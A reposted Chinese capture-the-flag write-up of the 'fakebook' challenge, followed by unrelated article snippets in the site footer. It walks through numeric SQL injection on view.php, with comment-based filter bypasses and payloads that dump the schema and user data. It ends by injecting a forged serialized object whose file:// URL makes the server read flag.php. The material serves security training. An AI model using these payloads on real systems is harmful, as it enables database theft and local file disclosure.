fakebook-攻防世界

题目

先目录扫描一下

dirseach

 打开flag.php是空白的

 访问robots.txt,访问user.php.bak

 

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

但是好像没用

正常注册一下

 

 这里发现有no=1试一试sql注入

加个'报错  可能存在注入

 1 and 1=1 正常

1  and 1=2 报错

1' and 1=1 --+报错

1' and 1=2 --+报错

确定是数字型注入

爆字段1 order by 4正常

1 order by 5报错,确定字段是4 

  爆显位

1 union select 1,2,3,4

但是被过滤了

SQL注入一些过滤及绕过总结_sql注入过滤-CSDN博客 

union 和select被前端过滤了,用unicode和<>绕过过滤是不可行的,只有/**/union /**/select可以绕过:

view.php?no=2 UniOn select 1,2,3,4#
view.php?no=2 union SelEct 1,2,3,4#
view.php?no=2 uunionnion selselectect 1,2,3,4#
 
view.php?no=2 union/**/select 1,2,3,4#
view.php?no=2 union++select 1,2,3,4#

no=-1 /**/union /**/select 1,2,3,4

说明显位是2

爆库名

view.php?no=2 union++select 1,user(),3,4#
view.php?no=2 union++select 1,database(),3,4#

-1 /**/union /**/select 1,group_conact(schema_name),3,4 from information_schema.schemata

 

爆表名

-1 /**/union /**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema="fakebook"

 爆字段

-1 /**/union /**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema="fakebook"

爆数据

-1 /**/union /**/select 1,group_concat(data),3,4 from fakebook.users

 发现是我们注册时被序列化的数据

O:8:"UserInfo":3:{s:4:"name";s:5:"20_aw";s:3:"age";i:20;s:4:"blog";s:10:"www.aw.com";} 

得到一个现成的序列化数据我们能否模仿

通过之前查的数据username是字段2,猜测data是字段4按顺序来嘛

no=2 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"20_aw";s:3:"age";i:20;s:4:"blog";s:10:"www.aw.com";} ' 

页面正常起来了

注意no现在的值为2,我们知道这个用户是不存在的。换而言之,原SQL语句的查询结果为空,而我们通过union加入了我们构造的查询语句,让SQL语句有了查询结果,并且此查询结果符合页面渲染要求,所以页面正常显示了。

并且由此得知,只要有data字段的对象序列,就可以成功渲染页面,其他字段并不是很重要。(页面中age和blog的值,显然也都是从序列化的对象里面得到的)

利用php伪协议读取,flag文件嘛

修改序列化中的blog参数,路径之前报错算是提示吧,而且一般都是默认路径

s:4:"blog";s:29:"file:///var/www/html/flag.php"; 

no=2 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"20_aw";s:3:"age";i:20;s:4:"blog";s:29:"file:///var/www/html/flag.php";} ' 

打开源代码中发现

点击

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/601503.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

软件安全评估之设计评审入门(上)

壹 基础概念 在软件开发生命周期&#xff08;Software Development Life Cycle&#xff0c;简称SDLC&#xff09;中&#xff0c;设计评审&#xff08;Design Review&#xff09;是一个关键的阶段&#xff0c;旨在确保软件设计满足项目需求和目标&#xff0c;并且能够高效、可靠…

工作这么久,你有测试思维了吗?

在如今竞争激烈的职场中&#xff0c;拥有测试思维已成为一个不可或缺的技能。无论你是从事软件开发、项目管理还是市场营销等各行各业&#xff0c;测试思维都能够帮助你更好地解决问题、提高工作效率以及保障质量。然而&#xff0c;工作时间的长短并不代表一个人是否具备测试思…

BC30002 未定义类型“SldWorks.sldworks”

BC30002 未定义类型“SldWorks.sldworks” BC30002 未定义类型“SldWorks.sldworks”问题描述解决办法 BC30002 未定义类型“SldWorks.sldworks” 问题描述 想要使用Visual Studio对Solidworks进行二次开发&#xff0c;但是刚刚开始就已经遇到了问题。 出现使用SLdworks.Sldwo…

Servlet(二)

文章目录 1.ServletConfig1.基本介绍2.应用实例1.DBServlet.java2.web.xml 2.ServletContext1.为什么需要ServletContext2. 基本介绍3.ServletContext 可以做什么4.应用实例一_获取工程相关信息1.ServletContext.java2.web.xml3.结果 5.应用实例二_完成简单网站访问计数器1.Pay…

20240325-1-HMM

HMM 直观理解 马尔可夫链&#xff08;英语&#xff1a;Markov chain&#xff09;&#xff0c;又称离散时间马尔可夫链&#xff08;discrete-time Markov chain&#xff0c;缩写为DTMC&#xff09;&#xff0c;因俄国数学家安德烈马尔可夫&#xff08;俄语&#xff1a;Андре…

语音特征的反应——语谱图

语谱图的横坐标为时间&#xff0c;纵坐标为对应时间点的频率。坐标中的每个点用不同颜色表示&#xff0c;颜色越亮表示频率越大&#xff0c;颜色越淡表示频率越小。可以说语谱图是一个在二维平面展示三维信息的图,既能够表示频率信息,又能够表示时间信息。 创建和绘制语谱图的…

[C++][算法基础]连通块中点的数量(并查集)

给定一个包含 n 个点&#xff08;编号为 1∼n&#xff09;的无向图&#xff0c;初始时图中没有边。 现在要进行 m 个操作&#xff0c;操作共有三种&#xff1a; C a b&#xff0c;在点 a 和点 b 之间连一条边&#xff0c;a 和 b 可能相等&#xff1b;Q1 a b&#xff0c;询问点…

CVE-2023-2928 DedeCMS 文件包含漏洞getshell 漏洞分析

DedeCMS&#xff08;也称为织梦CMS&#xff09;是一款基于PHPMySQL的开源内容管理系统。 在 DedeCMS 5.7.106 及之前的版本中发现一个漏洞。它已被宣布为关键。受此漏洞影响的是未知功能的文件uploads/dede/article_allowurl_edit.php。对参数 allurls 的操作会导致代码注入。…

【CHI】(十二)Memory Tagging

目录 1. Introduction 2. Message extensions 3. Tag coherency 4. Read transaction rules 4.1 TagOp values 4.2 Permitted initial MTE tag states 5. Write transactions 5.1 Permitted TagOp values 5.2 TagOp, TU, and tags relationship 6. Dataless transact…

【日常记录】【JS】getComputedStyle 获取DOM的最终样式值

文章目录 1、介绍2、getComputedStyle3、链接 1、介绍 Window.getComputedStyle()方法返回一个对象&#xff0c;该对象在应用活动样式表并解析这些值可能包含的任何基本计算后报告元素的所有 CSS 属性的值。私有的 CSS 属性值可以通过对象提供的 API 或通过简单地使用 CSS 属性…

前端性能优化-Table渲染速度优化

教务系统-排课页面性能优化总结 一、前言 在公司教务系统中,排课页面慢的令人发指,在某些情况由于数据量大导致页面主进程卡死,遂组织进行一次排查优化,现记录一下 二、效果对比 以下数据均为UAT环境 Performence对比 更改前: 主进程渲染时间为 8s 教务系统-排课页面性…

【MySQL数据库 | 第二十三篇】什么是索引覆盖和索引下推

前言&#xff1a; 在数据库查询优化领域&#xff0c;索引一直被视为关键的工具&#xff0c;用于提高查询性能并加速数据检索过程。然而&#xff0c;随着数据库技术的不断发展&#xff0c;出现了一些新的优化技术&#xff0c;其中包括索引下推&#xff08;Index Pushdown&#…